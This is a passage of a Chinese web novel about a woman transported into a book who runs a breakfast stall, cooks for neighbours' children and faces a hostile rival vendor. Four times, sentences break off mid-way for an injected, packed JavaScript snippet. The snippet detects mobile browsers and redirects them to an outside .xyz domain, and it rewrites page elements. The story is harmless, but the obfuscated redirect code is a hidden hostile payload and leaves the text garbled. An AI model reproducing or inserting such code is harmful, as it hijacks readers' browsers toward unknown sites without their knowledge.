钱宇帮着把鸡蛋送进厨房，才挑着箩筐。日头的阳光洒下，将少年的背影拉长。 人离开，苏念把小餐鱼端到水井旁处理干净，餐鱼个头小，鱼刺偏多，肉嫩。特别适合炸的酥脆后再熬，锅边再贴一些面饼，搭配在一起吃特别美味。 她打算晚饭弄小鱼锅贴。 相较于草鱼，餐鱼处理起来比较麻烦。苏念处理好，清水冲洗几遍才干净，把餐鱼房盆里，放入少许葱姜水去腥，备用。 处理好鱼，孙菊也正好过来。两人一人端一个板凳蹲在水池边洗鸡蛋。 “小苏，说真的，我挺佩服你的。”孙菊将手中鸡蛋上的泥土洗干净，一边忍不住感慨，“你这个人很坚韧，家里发生那么大的变故一点也没把你打倒。你硬生生的站住脚，开早餐铺生意很好，也能说服人家给你供货，价格还合适。” 苏念家发生的事情，钢铁厂家属院每家都知道。江淮生，当初可是整个平江市响当当的人物。市里第一个万元户，肉眼可见的挣了不少钱。各家各户房子不够住时，人家已经住上商品房。 当初两人结婚时，算是巷子里的大新闻。黄花大闺女上赶着当后妈，尤其小姑娘长相美，根本不愁找条件不错的对象。却嫁给江淮生一个带着孩子的男人。不少人在背后说钻钱眼里。 两人结婚没多久搬离家属院，住进商品房。再次见面时，她一时间没认出来，互相介绍认识才得知是江淮生对象。 当时两人不熟，有些事情不好问。再后来就是苏念寻上门寻求合作，她一口答应。事情证明，她是正确的。 两口子都是做生意的一把好手，一天的赚的钱赶上她一个月挣的钱。 “哈哈哈，运气好运气好。”苏念手下动作不停，一边开玩笑，“都拉你入伙，不带着你赚钱岂不是我的错。” 两人说说笑笑，几十个鸡蛋清洗干净。把脏水倒干净，苏念直起腰，酸胀难耐，用手捶了几下。 “苏念，在家吗？” 院门口传来熟悉的女声，一个穿着花衬衫、模样三十来岁的妇女隔着墙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491031|185863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张望。苏念定睛一看，是刚搬回家时和她搭话的林泉，正对门的邻居。 “林泉，你今天咋没上班？”孙菊见是曾经的同事，也站起身打招呼。 “别提了，厂子效益不好，被车间主任劝办停薪留职了。”林泉进院门，语气含着忧愁，“你说咱们在纺织厂干了几十年，效益不好，说不让你干就不让你干了。” “谁说不是呢。” 两人是纺织厂的老人，基本上把青春全部奉献给了厂里，以为能在厂子里干到老干到退休。谁知道三十来岁，效益不好，铁饭碗没了。厂子的工作没法传给孩子，大家全部到社会上凭本事吃饭。 谈起这事，两人默契的一眼不发。 察觉到孙菊情绪不好，苏念连忙开腔打破沉默，“林嫂，快坐下，咱们一起谈谈天。” 她能理解两人的心里，失业的滋味不好受。当初她有个朋友在大厂上班，工作强度大，但月工资两三万，高杠杆上车买了几百万的房，背上贷款。结果过了三十来岁，大厂裁员，他失业没了收入来源。房贷、车贷、孩子的学费，一时间压的他喘不过来气。 走投去路，才找她借钱周转，她才知道这些事情。曾经意气风发，高压力下变的颓废不堪。 林泉拿过一板凳坐下，望着地上铁盆里的鸡蛋，“你搬回家那天我就想来看看你，上班忙没时间，现在搁家没事，看见你车在门口，来找你聊聊。” “我听邻居说，你现在在钢铁小学门口卖早餐，生意挺不错的。” 苏念回屋把蒜瓣拿出来给大家剥皮，闻言笑着点点头。 “好啊，有钱赚的日子就是有盼头的。”林泉感慨，“你家出了那么大的事情，你拉扯一个孩子也不容易。我现在有空，忙不过来喊一声，我空的话来帮忙。” “对了，江淮生这件事现在怎么说？真没有解决的办法？” 孙菊一直知道老同事林泉性格大大咧咧的，可万万没想到能直接问这事。 她和苏念已经熟悉到这地步，她也没有开口问江淮生。 “林泉，不要瞎问。”孙菊害怕老同事再说出什么惊世骇俗的言论，轻咳提醒。 “没事。”苏念安抚了一下惊慌的孙菊，“现在不知道情况，公安局还没有说法，也没有叫我去办事。” “那只能慢慢等着。”林泉思索片刻，“好在你现在生意做的挺红火，能养的起孩子。” “借你吉言。” 林泉在院子里聊了一会起身告辞，人走后，苏念才带着孙菊去厨房备菜，摆摊原材料收拾好，又把收拾好的餐鱼捡了四五条递给孙菊带回家吃。 院子重新归于安静，把东西规整一下，时间差不多，准备开始做晚饭。 将预留的一小块五花肉切成薄片，葱姜蒜辣椒切成段，老豆腐切成大小匀称的块。配菜处理好，重新拿起一个盆和面，等会贴锅贴。 12. 小鱼锅贴 配菜准备好，苏念才端个椅子坐下休息，等待刘春霞接三个孩子回家。 树叶枝丫乱晃，阳光穿透树叶洒下点点光斑。傍晚的天空，晚霞绚烂多彩，巷子里传来孩子们的打闹声。 有一瞬间，苏念有一种恍若隔世的感觉，穿书前一直奔波在求学的路上，生存、赚钱一度成为她的人生主旋律，脚步匆匆，没有时间欣赏沿路的风光。阴差阳错下，穿书了。反而时常能感受到幼年时的宁静生活。 “妈妈~” “苏姨，我们回来啦。” “苏姨。” 伴随着三道童声而来的是刘春霞的笑声，“小苏，你是不知道现在三个孩子有多黏你，一放学齐刷刷的往家赶。” 两个小姑娘一个冲刺奔到她怀里，苏念一手搂一个小孩，“嫂子，你可不要吃醋啊。” “是呀，妈妈，我也是超级爱你呢。”许曼丽昂着小脑瓜子。 刘春霞走近，把闺女拉进怀里，用手指戳了戳自家闺女的脑袋，“就数你嘴甜。” 突然怀中的小孩拉拉她胸口的衣服，苏念低头看去，小反派小声的说了句，“妈妈，我也很爱你。” 她今天给江颜扎的两条麻花辫，一身碎花布裙，小孩的眼睛圆溜溜的，像一颗黑葡萄似的。如今小孩顶着一张奶萌可爱的脸向她诉说着爱意，苏念心中一软，立马回应爱意，亲了一下孩子的额头。 “小军，你同学满意今天做的菜吗？”苏念见许军站在一旁不讲话，“他们喜欢吃什么可以告诉你，我后面可以做给你们吃。” “喜欢吃。”许军笑道，“我后面问问他们，妈妈、苏姨，我回屋写作业了。” “好好好，你回去做作业吧。”刘春霞连连点头，转头看向自己闺女，“曼丽，带着妹妹出去玩耍，我帮着你苏阿姨做晚饭。” 许曼丽闻言直接带着江颜出门找朋友玩，许军回屋写作业。 “嫂子，你好福气哦，小军的学习都不用你操心。”苏念探头看了一下认真学习的许军，有意调侃。 “你这个丫头，尽会调侃人。”刘春霞笑着要去戳苏念的脸，两人笑闹开，一起让后院厨房去。 “咱们今晚吃什么？” “钱宇今天送鸡蛋时给了些小餐条，咱们晚上吃小鱼锅贴。” 两人分工合作，刘春霞烧火。 铁锅冒白气，倒去一点油，把餐鱼挨个放进去煎鱼。示意刘春霞火烧小点，慢慢把鱼煎至两面金黄，在挨个的贴着锅边放。放入切好的五花肉，煸炒出油，等待肉片变得焦黄。在下入切好的葱姜蒜、干辣椒段，爆香。 一时间满屋子全是辣椒呛人的味道，连带着刘春霞连连打喷嚏。 直面锅台的苏念更是被呛的差点流眼泪，咳嗽间视线一碰，两人没忍住笑出声来。 肉片翻炒后，沿着锅边倒入大量的热水，没过鱼身，再放入豆腐。盖上锅盖，让刘春霞火烧的旺一点，转身去处理面团。 面团揉搓排气，揉成长条分成大小均匀的小剂子，用手把每个小剂子蘸水，在案板上甩拍成薄面片。尽量要薄，吃的口感才好。 正好锅盖冒热气，揭开锅盖，将薄片贴在锅边，一半浸在鱼汤中。继续盖上锅盖，炖煮十来分钟，等待水蒸气将锅贴上半部分蒸熟。 此时，香味已经很浓郁。 闻着味道，苏念不禁想起二十来岁，跟着师傅出差高邮时第一次吃小鱼锅贴，那是当地的特色菜，小鱼被煎的金黄，入口肉嫩，口感好。再夹起锅贴，焦香酥脆。 后来基本上有机会出差到高邮，她总会专程去吃一次小鱼锅贴。因此，今天钱宇送小餐鱼过来，她脑海中第一个出现这道菜。 “嫂子，我出去叫孩子们回来吃饭。”苏念揭开锅盖看了一下，见菜差不多成了，“差不多可以出锅了。” 苏念洗手出门喊了一嗓子，没一会儿许曼丽带着江颜回家。 院子里桌子支起来，三个孩子团团坐，苏念给每人盛了一碗稀米汤，旁边放一个空碗，碗里放着锅贴。 提醒孩子们小心鱼刺，才夹了一条餐鱼放碗里，嗦了一口汤汁，麻辣鲜香，鱼肉的焦香在口腔中蔓延开。 一条鱼下肚，又夹一块锅贴，入口酥脆。 “小苏，你做的这个小鱼锅贴好吃啊，尤其是这个锅贴，下半部分浸满汤汁，辣辣的很下饭。”刘春霞一块锅贴下肚，口舌之欲满足，控制不住的夸赞。 三个孩子吃的嘴巴通红，闻言，齐刷刷地点头。 小鱼锅贴实在是对她的胃口，苏念一块接着一块吃。两个大人、三个孩子吭哧吭哧埋头苦吃。 饭后，刘春霞刷锅洗碗，苏念带着两个小姑娘洗漱洗澡。 等三个孩子全部睡下，刘春霞提议两人坐院子里乘凉，苏念正好有事想请教欣然应允。 晚风吹过，带来一丝丝的凉爽。 “嫂子，你是不是有什么话和我讲？”苏念将泡好的茶水递给女人。 刘春霞接过茶水放在一旁，带笑道，“小苏啊，真是什么都逃不过你的眼睛。喏，这是这个月的该给你付的钱。你点点看，钱对不对。” 苏念笑着接过钱，直接塞进兜里，“嫂子给的钱，不会出错。你有啥事直接说，能帮忙的我肯定帮忙。” “其实，我真是有点不好意思说这话，你看看自打你回来，咱们一家五口每天吃喝全在你这。”刘春霞情真意切，“我真是轻松不少。” “嫂子，不要这么说，你们是给钱的，平时对我也很照顾。”苏念连忙说。 这话说的不假，自打回家属院。刘春霞两口子真的帮她不少，不管是组装餐车上，还是刚开业时的帮忙，她做生意每天起床很早做准备，动静多多少少会有。人家一声未吭，抽空帮忙照顾江颜。 她确实也轻松不少。 “给钱很容易。”刘春霞，“本来我上白班每天接送孩子，能帮忙减轻点负担。” 苏念福灵心至，“嫂子，你是不是要开始上夜班了。” “你这孩子。”刘春霞没想到铺垫那么多，人家一下猜出来，有些不好意思，“是啊，下个月，我上夜班，到时候可能接送不了孩子，可能得你辛苦一些。不过，你放心，你许大哥会上半个月白班，他空了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491032|185863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一定去接孩子。” “我当什么事。”苏念没想到对方铺垫那么多，“反正钢铁小学离家不远，我溜达几步就溜达过去，不费什么事情。” 女人既要忙工作又要忙家庭，往往是很难顾全的。曾经她有同事，结婚有了孩子，实在顾不全，只能舍弃事业回归家庭。那个同事厨艺方面其实很有天分，但夫妻双方只能有一人牺牲。 有的时候，她在想，为什么夫妻双方均有事业的前提下，在家庭需要时为啥总是女方牺牲。 所以，现在刘春霞出现这种问题，又在她的能帮忙的前提下，她是很愿意拉一把的。 “嫂子，你现在安心了吧。” 刘春霞，“安心了。” 见苏念没有丝毫的不耐烦，刘春霞的心放回肚子里。毕竟当初只是说好把两个孩子放在她那吃饭，没有说让人家接送。增加了别人的麻烦，求得谅解是很重要的事情。 “那我有事情问你。”苏念直接开门见山，“嫂子，你对刘素华这人了解吗？” 苏念知道刘春霞是家属院土著，这里的街坊领居、八卦啥的一清二楚。 “刘素华？”刘春霞一听这名字，只觉得耳熟，“这名挺熟悉，她家男人是不是见胡建民？脸上有一块刀疤？” “对。”苏念回想了一下，“她家男人脸上是有一块刀疤。” “小苏，你不会惹上这号人物了吧？”刘春霞见女人给出肯定回答，“她家男人可是蹲过局子的，之前是这一代有名的混混。” “没有。”苏念摆摆手，解释缘由，“他们夫妻俩也在钢铁小学门口卖包子。” “咋了？你和孙菊卖的包子销量比他们高，他们夫妻俩找你麻烦了？” “嫂子，你真料事如神。”苏念有些吃惊苏念一下猜出，竖着大拇指，“威胁我们再卖包子要我们好看。” “真是无法无天了，眼里还有没有王法了。”刘春霞一听这话脾气上来，骂骂咧咧的，“当初他在巷子里像小霸王样，大家敢怒不敢言，是因为他爸是厂长，现在他爸早被辞了。当初进局子这事他爸都没保住他，何况是今天。” 刘春霞大手一挥，“你该卖卖，不要害怕。”末了，补充了一句，“小学附近，公安局都日常巡查的，我看他就是看你们两个女人吓唬吓唬你们。” 这话题终结，两人又在院子里聊了会天，各自散去。 - 钢铁小学门口，早晨六点四十。 刘素华和丈夫推着餐车在校门口摆好，探头张望了一下右边空荡荡。 “老胡，你说你昨天的威胁有没有用啊？咱们当初学她卖菜煎饼，生意一般不说，现在包子生意都被她抢去了。” “我当初就说了，人家有意和我们打好关系。不要学人家，你非不听。你看看现在搬起石头砸自己的脚。” 胡建民把板凳放下，自家女人在耳边絮絮叨叨，一阵烦闷，掐灭烟头，忍不住举起拳头，刘素华下意识的瑟缩了一下。 “你这女人咋这么多话。要不是你废物，生意能被人抢去。我当初真是瞎了眼娶你这么一个废物！” 13. 争吵 “你厉害，你清高。一挺大男人，不还是跟着我卖包子。”刘素华回神，“一天天的就发臭脾气，你以为你还有一个当厂长的爹。” “可笑！” 胡建民一听，火冒三丈挥舞拳头要打人，刘素华梗着脖子眼睛直瞪着他。 一时间，僵持不下。 孙菊推着餐车到钢铁小学门口，率先发现那边的动静。戳戳苏念的胳膊，示意她往那边看。 “看见没，两人吵架了。” 声音中隐隐藏着兴奋，苏念手下动作没停，视线飘过收回。 “孙嫂，咱们包子预备了多少？”苏念把锅铲摆好，准备迎接客人，“鲜肉和豆腐先各蒸上一笼。孩子们快上学了，得抓紧时间，不然没货卖可就挣不到钱。” “好勒。”孙菊回神，麻溜的蒸包子，蒸好继续包，“你说的对，什么事情都不能耽误咱们挣钱。” 六月中下旬，天气慢慢变热。只有早上五六点尚有一丝风凉。上班的人乘着风凉步伐匆匆得往单位奔去。 夏月清今天单位休息，本身想在家休息睡睡懒觉。不成想，一早被丈夫拉起床，想让她去吃学校门口新发现的早摊铺。 丈夫连着半个月吃学校门口新开的早摊铺，她是知道的。每天回家丈夫会和他描述菜煎饼的焦香酥脆和茶叶蛋的入味。并且强调得现场吃才最香，但凡晚上带回家就不是那个味道。 昨天回来说老板娘出了新品，现包现卖的包子，食材干净卫生。一听她今天休息，当即决定早上带她去尝尝鲜。 这不，一早起床被拉过来。 夏月清坐在丈夫的车后座，风吹乱发丝时有些怀疑自己为什么不好好待在家睡觉，反而答应丈夫抽风一样的要求。 早餐店的东西味道都差不多，她为什么要牺牲好不容易得来的休息时间。 王志刚带着老婆疯狂的蹬自行车，想要用事实为自己说话。每次他夸小苏老板的东西好吃，媳妇总用一种怀疑的眼神看着他。 “小苏老板，来两份菜煎饼，中辣。五个鲜肉包五个豆腐包四个茶叶蛋。”王志刚车一停，开始报菜单。 “我是你忠实的客户，特意带着我媳妇过来给你捧场。我媳妇夏月清。”王志刚笑着推了下眼镜，“媳妇，这是苏念苏老板。” 苏念闻言，抬眼看了一下熟客旁的女性，“你好，感谢你过来捧场。”随即看向孙菊，“孙嫂，豆腐包不收钱，算我们送给王老师的。” 孙菊应声，“好嘞。” 蒸笼揭开，白白胖胖的包子站岗，香味席卷而来，夏月清闻着味，当下知道了丈夫为什么对苏老板的东西赞不绝口。 光是闻着味，口水就不断地分泌。 苏念摊菜煎饼已经炉火纯青，两三分钟一个，叠一叠，切一下，牛油纸包裹一下，出锅。 “媳妇，你先尝尝？”王志刚接过煎饼递给媳妇，眼巴巴的望着她，“你快尝尝看，绝对好吃。” 夏月清接过煎饼，依言咬一口，外皮酥脆，里面包裹的蔬菜咸香甜辣，调料没有喧宾夺主。 “怎么样？好吃吧？”多年的相处让王志刚知道媳妇是满意饼的口味。 他媳妇常年保持身材，吃东西的量很注意，煎饼的味道不好的话不可能一口接着一口的。 “王老师，你的餐。”苏念把煎饼和捡好的包子豆浆递出。 王志刚付好钱，将叫的包子豆浆茶叶蛋递给自家媳妇，“我先去上班，这些东西你拎回去给爸妈尝尝。” 说完拎着菜煎饼和豆浆茶叶蛋往校门口走，夏月清目送丈夫进校门，收回视线，看着手指拎满东西。 “苏老板，我能把东西暂时放你摊子上吗？我先把东西吃完。”夏月清衡量一番，干脆利落的请求。 “当然可以，你要是不介意，这边有多余的板凳，你坐着吃。” 自己的手艺好到让王志刚专程带着媳妇过来捧场吃东西，是对她手艺的认可。更何况，之前和王志刚聊天得知他媳妇是在政府里工作。 她有意和夏月清处好关系。 “那谢谢了。”夏月清道完谢直接把东西放在一旁，拎着一杯豆浆坐在摊子后面，慢慢享用美食。 她之前出差到徐州吃过当地的特色菜煎饼，味道很好，以至于后面回平江市也有意寻找类似口感的菜煎饼。 找到的菜煎饼，要么是外皮软塌塌，要么是调味料过多，味道不行。 因此王志刚强烈安利菜煎饼，她是不抱希望的。 夏月清慢条斯理的吃着煎饼，就一口豆浆，观察着在摊子前忙碌的女人。她穿着衬衫配牛仔裤，围着围裙，乌黑的长发绑至脑后。白皙的脸蛋挂满笑容，耐心的接待顾客。 两辆小吃摊并在一起，车的外观干净明亮，台面整洁，一辆专门摊煎饼和卖茶叶蛋，另外一辆蒸包子，竟然是现包现卖。 短短的几分钟，能够看出生意非常好。不断的来人购买。反观另外一家卖煎饼的，显得冷清。 “怎么样？菜煎饼吃着味道可以吧，有改进的地方可以和我说。”苏念忙完，见对方吃完饭看着沉思，“我可以直接叫你夏月清吗？” “当然可以。”夏月清举了举空掉的牛油纸袋，笑道，“我可能也要成为你的忠实粉丝了。” 苏念，“是我的荣幸。” 夏月清站起身，把临时放摊子上的东西拎起来，告辞离开。 “乖乖，我刚刚一直没敢说话，王老师的媳妇长的怪好看的。”孙菊一同望着远去的背影，“挺有气质。” 苏念望着远去的背影，微笑不语。 - 王志刚心情很好，哼着小曲进办公室，将早餐刚放下，准备美滋滋的吃早饭。一道隐阴影落在眼前，“老李？” “我要的包子？”李向前直接扒拉一圈没找到自己的早饭，抬起头，眼睛眯起来，“为了这口吃的，我早上可一口水没喝。” 昨天见王志刚吃包子，才知道校门口的早餐摊出了新品，味道香的不行。当即决定下单让他帮忙带包子。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491033|185863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你瞧瞧我这脑袋。”直到李向前凑近，王志刚才想起自己忘了啥事，“我媳妇今儿休息，我带她过来尝尝早餐摊的东西。结果一下把给你带包子的事忘了，实在不好意思啊。” “我买了两茶叶蛋。”王志刚，“煎饼分你一半，茶叶蛋分你一个。你看可以吗？” 李向前一听，摆摆手，“你分我，自己还能吃饱。我自己出去买，正好没去过。” 说着，丢下王志刚，大步走出办公室。 眼见快到上课时间，苏念和孙菊打算把剩下的一点点东西卖完收摊回家。 “嫂子，小学快放暑假了。咱们要不要转战阵地？”苏念用手扇风，笑眯眯的提议。 孙菊笑道，“我听你的。”说着努嘴示意苏念往旁边看，“你瞧刘素华两口子一上午不讲话。” 苏念望过去，见两人各占餐车的一边，男人手指间烟雾缭绕，女人一边干活一边抹眼泪。 倒是没来找她们的麻烦。 “我们忙自己的。”苏念收回视线，“孙嫂，咱们包子馅没剩多少吧？” “苏老板，给我来两个鲜肉包一个豆腐包。” 两道声音同时响起，苏念抬头见一位身形高挑、头发发白的中年男人笑眯眯的看着自己。 “我是王志刚同事，我姓李。”李向前察觉到女人眼中的疑惑，笑着介绍，“之前我托他带饭。” 原来是王志刚的同事，苏念笑着打招呼，“李老师，你好。” 李向前捻起嘴角的白胡须，笑着点点头，“你的菜煎饼在我们办公室可出名了，我第一次出来买错了。” 说着指向左边的摊铺，“我买成那家了，味道不好，饼皮软不酥脆。” “李老师，你有品味。”孙菊高兴不已，“旁边那家啊，是学我们家的。” 一提起刘素华的背刺，孙菊依旧生气。如今听顾客说自家的东西比旁边的好吃，高兴的不行，仿佛出了一口恶气。 “剩下最后一个豆腐包送你了。” 李向前接过东西，闲聊几句，往学校走。 最后的几个包子卖完，带来的东西全部售罄，苏念和孙菊收拾东西回小院。 - 夏月清离开摊主没有直接回家，反而是拎着东西乘公车往爸妈家走。 她和王志刚有一个儿子，十二岁，两人工作很忙顾不上孩子，只能把孩子放在她爸妈家养。 好在两家离不太远，骑车二十来分钟，坐公车十来分钟。 好不容易到了站，夏月清艰难的下车，整理了一下衣裙，往爸妈家走。 推开小院，见她爸在院子里打太极，她妈摆弄花草。 “爸妈。”夏月清把包放下，手里的东西放在餐桌上。 刘老太太一抬头见是自家闺女，高兴道，“你今天咋有空过来啊？小宇刚去学校。” “给你们送好吃的。”夏月清指了指桌子上的东西，“王志刚知道您二老喜欢吃包子，早上特意带我去买的，让我趁热给您二老送过来。” 14. 红烧五花肉 “志刚有孝心了。”夏老爷子听见包子，眼睛放光，太极也不打了，乐呵呵的跑过来打开袋子，伸手拿了一个包子，“香啊，现包的？” “爸，洗手再吃，注意点卫生。”夏月清急忙道，“妈，你瞧爸？” “你爸最好吃面食，尤其是包子。”刘老太太一脸无奈，拍了一下丈夫的肩膀，嗔怪道，“你真是越活越回去了，快去洗手。” “爸，包子多的是，你喜欢吃我后面让志刚给你送。两种馅，一个是鲜肉的，一个是豆腐的，豆腐有点辣，你们不能吃放着让小宇放学吃。” 夏老爷子一脸遗憾的放下包子去洗手。 夏月清望着远去父亲的背影，笑着的摇摇头，收回视线，期待的的指着桌子上的肉包，“妈，你尝尝，这家老板年轻，摊子干净卫生，我早饭也是在她们家解决的。” 刘老太太吃过，拿起一个鲜肉包咬了一口，肉汁在口腔迸发，“好吃。” 肉包好不好吃，一看面的发酵，二看肉的品质。面发酵过了，吃起来容易有酸味，影响整个包子的口感。肉的品质不好关乎馅料的味道，有些人会选择一般的猪肉，能吃是能吃，但口感一般。 一会儿功夫，夏老爷子急哄哄的赶回来，捏起一个肉包咬一口，“月丫头，你今天带来的包子味道不错，有点像我之前在北京工作时吃的包子味道。” 夏老爷子名叫夏承良，早些年时是在平江市县委办工作，经常出差开会。年轻时曾在北京工作过十年，后面才调回平江市，也正因为那些年的工作经历，导致他一个南方人长了一颗北方胃，喜欢吃面食。 后面退休下来，帮女儿女婿搭把手照顾外孙，没事打打太极、吃一吃美食。 刘老太太一个包子下肚，见老伴口急，无奈摇头，站起身回屋倒了一杯茶水递给他。夏老爷子适时的端起喝了一口顺顺胃。 两个肉包下肚，才终于停下。夏承良摸着圆滚滚的肚子，发出舒服的喟叹，“这家店在哪里？好久没吃过这么对我胃口的包子了。” “志刚学校门口，最近新开的。不是店，是早餐摊。”夏月清接过母亲新倒的茶，喝了一口，“老板娘是最近开业的，是个年轻的姑娘，姓苏，做事利索，挺有生意头脑的。” “哦，这孩子是不错，做餐饮累人的。”夏承良听完闺女的话有些意外，继而想起老友之间的闲聊，“我记得老李说上面政策松动，鼓励市场从业者自主调节物品价格，主张纠正之前被判扰乱市场经济的案子。” “你说的小苏不会是害怕被错打，不敢开店？” 吃过包子，夏承良不用想也知道这个早餐摊生意绝对好，生意好肯定赚钱。之所以不开店，可能有他想的原因。 “爸，你不要瞎说。人家刚开摊子，为了赚钱节省成本。”夏月清笑道，“您老啊，不要为别人瞎操心。” 夏承良，“我怎么是瞎操心，万一小苏老板不挣钱，早吃摊不开，我去哪吃包子？” 刘老太太和闺女对视，从对方眼里读出了笑意。 人越老越像小孩，这话是不假的。 - 车送回小院，洗刷完用具和清点完账目后，孙菊请假回家办事，今天她们家来亲戚，她得回家做饭。 两人约定好下午会面时间，苏念才骑车往农贸市场去。 到了农贸市场，找到刘钱君摊位，将前一天预定好的蔬菜运回车上，装点好，请人帮忙看一下，才继续进去采买中午做饭的肉。 去肉类区挑选了一圈，最终选择了上好的一长条带皮五花肉，又补进了一些香料，她打算中午给孩子们做红烧肉。 五花肉品质不错，标准的五花三层。苏念心情很好，哼着小曲往车子方向走。 回到小院，将货物运下来，捡一些中午做菜需要的蔬菜进后院厨房。 苏念将所有菜清洗干净放盆里，开始处理菜。五花肉耗时间，最先处理，将带皮朝下，切成大小均匀的块状。锅里放水，切好的五花肉扔进，去腥三件套丢入，大火煮沸捞出，撇去浮沫，继续煮三五分钟，等肉块变色、变紧实，捞出，温水清洗放一旁备用。 将其余菜全部切好备用，开始烧小火炒糖色，需要耐心慢慢炒，等待糖色变为枣红色、冒出细密的小泡时，立即下处理好的五花肉，转为中火，快速翻炒，直至肉块的边缘变得焦黄，猪肉煸出。 想要红烧肉肥而不腻的诀窍就在于将猪油煸出。 快速翻炒几下，将提前备好的香料放入，炒出香味。沿着锅边淋入剩余的料酒，倒老抽上色，让酱油的酱香和肉的焦香融合。 翻炒均匀，倒热水没过肉块，大火烧开，盖上锅盖转为小火慢炖。 剩下等肉炖煮入味，时间越久，肉越软烂。红烧肉这道菜是很适合小朋友们偶尔加班吃的。 等炖肉的功夫，苏念把米饭蒸煮上。大概一个小时后，红烧肉炖煮好，孩子们的放学时间也到了，苏念围裙一摘，马不停蹄的奔去学校，将四个孩子接回来，继续回厨房炒菜。剩下的三个是快手菜，清炒土豆丝、西红柿炒蛋、小炒肉，菜炒好，许军带着李志新和许曼丽进来端菜。 四个孩子排排坐好，苏念才端出保温的红烧肉。 明显感觉到红烧肉上桌，四个孩子激动的神情。小孩子都喜欢吃肉，尤其红烧肉色泽鲜亮，汤汁包裹住每一块肉，肉香浓郁。 苏念给每个孩子上了一碗米饭，看大家跃跃欲试的模样有些好笑，拿勺子放入红烧肉的盘子里。 “红烧肉拌饭很好吃，你们谁要拌饭？” 话音刚落，四只手齐刷刷地举起手，眼巴巴的看着她。 苏念一笑，拿瓷勺给每个孩子碗里放了一块红烧肉，又往自己碗里放了一块肉，动作示范将红烧肉在碗里碾碎，米饭包裹住肉的汤汁，蒯起一勺口中。 红烧肉汤汁包裹着米粒，咀嚼间能够感受到肉末，一种极致的享受。全国各地红烧肉的做法成百上千，有些人喜欢品味肉的肥腻，认为吃肥肉不吃腻，相当于白吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491034|185863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。有的人喜欢口感清爽、肥而不腻最好。 她之前出差吃过不少种红烧肉的做法，吃到最后喜欢肉的肥而不腻。五花肉作为一道菜的主料，很考验厨师处理食材的能力，不管是何种菜系，一步处理不到位，让人感到肥腻腥，基本上是浪费食材了。 三个大孩子有样学样，将红烧肉碾碎在碗里，搅拌米粒，学着她的样子蒯一勺塞满口腔。江颜年纪小，苏念接过小碗，帮忙将红烧肉碾碎，又浇入一勺料汁，拌着米饭，递还给小孩。 “苏姨，你做的红烧肉好好吃啊。这碗吃完，我还能再吃一碗。” 捧场王许曼丽依旧发挥稳定的夸耀，残留的汤汁挂在嘴边，圆溜溜的眼睛笑的弯弯的。 许军和李志新不语，只是一味的扒饭，一碗饭见底，先后起身装了一碗米饭，继续红烧肉拌饭。 厨子做出的饭能够得到食客的喜欢，心情是愉悦的。不管四小只是第几次捧场，愉快的心情是不变的。 四个小孩吃完饭照例午睡，起床上学。 苏念送完四个小孩去学校，回小院也睡了会儿午觉。睡醒，钱宇正好过来送鸡蛋，这次除了订购的鸡蛋，钱宇又送了三斤多的黄豆和十来个鸭蛋。 拿着东西，苏念想按照行价给钱，小伙子死活不要，说感谢她的指点和照顾他的生意。黄豆和鸭蛋是专门送给她吃的，没有办法，苏念只能收下。 送走钱宇，苏念将东西送到后院，看着地上的黄豆，心里有了主意。 之前做小炒肉缺了灵魂豆豉，她一直想着有空去粮油站买一点黄豆回来做一点放着，如今原材料有了，而且钱宇送过的品质很高，正适合做豆豉酱。 只是制作豆豉过程麻烦，需要搭建合适发酵房。苏念想了想下可行性，打算将豆豉酱推后，等搭建好适合发酵的环境再说。 把黄豆送回房间储存好，才回后院拿大盆放水，准备处理鸡蛋和鸭蛋。她打算将鸭蛋腌制，后面卖一下看看有没有销量。 大盆放好水，鸡蛋和鸭蛋放入，苏念才看了一下钟表，有些奇怪孙菊为什么还没来，往常只会早到不会迟到。 心里疑惑归疑惑，苏念端了小板凳坐下，打算一边洗蛋一边等人，孙菊应该是被什么事情绊住了脚。 